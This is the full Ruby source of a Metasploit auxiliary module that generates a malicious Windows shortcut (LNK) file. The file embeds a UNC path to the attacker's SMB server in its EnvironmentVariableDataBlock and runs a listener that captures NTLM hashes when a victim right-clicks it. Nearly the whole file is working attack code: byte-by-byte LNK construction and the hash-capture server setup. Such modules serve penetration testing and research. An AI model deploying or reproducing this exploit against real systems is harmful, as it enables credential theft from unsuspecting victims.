metasploit-gs/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'faker'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::Remote::SMB::Server::HashCapture

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
        'Description' => %q{
          This module creates a malicious Windows shortcut (LNK) file that
          specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)
          that can trigger an authentication attempt to a remote server. This can be used
          to harvest NTLM authentication credentials.

          When a victim right-click the generated LNK file, it will attempt to connect to the
          the specified UNC path, resulting in an SMB connection that can be captured
          to harvest credentials.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nafiez', # Original POC & Module
        ],
        'References' => [
          ['URL', 'https://zeifan.my/Right-Click-LNK/']
        ],
        'Platform' => 'win',
        'Targets' => [
          ['Windows', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-05-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
      OptString.new('ICON_PATH', [false, 'The icon path to use', nil]),
      OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
    ])
  end

  def run
    lnk_data = create_lnk_file
    filename = file_create(lnk_data)
    print_good("LNK file created: #{filename}")

    start_smb_capture_server
    print_status("Listening for hashes on #{srvhost}:#{srvport}")

    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

  def create_lnk_file
    data = ''.b

    # LNK header - 76 bytes
    header = "\x4C\x00\x00\x00".b

    # LinkCLSID (00021401-0000-0000-C000-000000000046)
    header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b

    # Define LinkFlags
    link_flags = 0x00000000
    link_flags |= 0x00000004  # HAS_NAME
    link_flags |= 0x00000020  # HAS_ARGUMENTS
    link_flags |= 0x00000040  # HAS_ICON_LOCATION
    link_flags |= 0x00000080  # IS_UNICODE
    link_flags |= 0x00000200  # HAS_EXP_STRING

    header += [link_flags].pack('V')

    # FileAttributes (FILE_ATTRIBUTE_NORMAL)
    header += "\x20\x00\x00\x00".b

    # CreationTime, AccessTime, WriteTime (zeroed)
    header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3

    # FileSize
    header += "\x00\x00\x00\x00".b

    # IconIndex
    header += "\x00\x00\x00\x00".b

    # ShowCommand (SW_SHOWNORMAL)
    header += "\x01\x00\x00\x00".b

    # HotKey
    header += "\x00\x00".b

    # Reserved fields
    header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b

    # Add the header to our binary data
    data += header

    # NAME field (description in Unicode)
    description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3)
    description_utf16 = description.encode('UTF-16LE').b
    data += [description_utf16.bytesize / 2].pack('v')
    data += description_utf16

    # ARGUMENTS field (command line arguments in Unicode)
    padding_size = datastore['PADDING_SIZE']
    cmd_args = ' ' * padding_size
    cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
    data += [cmd_args_utf16.bytesize / 2].pack('v')
    data += cmd_args_utf16

    # ICON LOCATION field (icon path in Unicode)
    icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico'
    icon_path_utf16 = icon_path.encode('UTF-16LE').b
    data += [icon_path_utf16.bytesize / 2].pack('v')
    data += icon_path_utf16

    # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
    env_block_size = 0x00000314  # Total size of this block
    env_block_sig = 0xA0000001   # Environmental Variables block signature

    data += [env_block_size].pack('V')
    data += [env_block_sig].pack('V')

    # Target field in ANSI (260 bytes)
    unc_share = datastore['SHARE']
    unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
    unc_path = "\\\\#{srvhost}\\#{unc_share}"

    # Create fixed-size ANSI buffer with nulls
    ansi_buffer = "\x00".b * 260

    # Copy the UNC path bytes into the buffer
    unc_path.bytes.each_with_index do |byte, i|
      ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
    end

    data += ansi_buffer

    # Target field in Unicode (520 bytes)
    unc_path_utf16 = unc_path.encode('UTF-16LE').b

    # Create fixed-size Unicode buffer with nulls
    unicode_buffer = "\x00".b * 520

    # Copy the UTF-16LE encoded UNC path bytes into the buffer
    unc_path_utf16.bytes.each_with_index do |byte, i|
      unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
    end

    data += unicode_buffer

    data += "\x00\x00\x00\x00".b

    data
  end

  def get_unc_path
    "\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}"
  end

  def start_smb_capture_server
    start_service
    print_status('The SMB service has been started.')
  end

end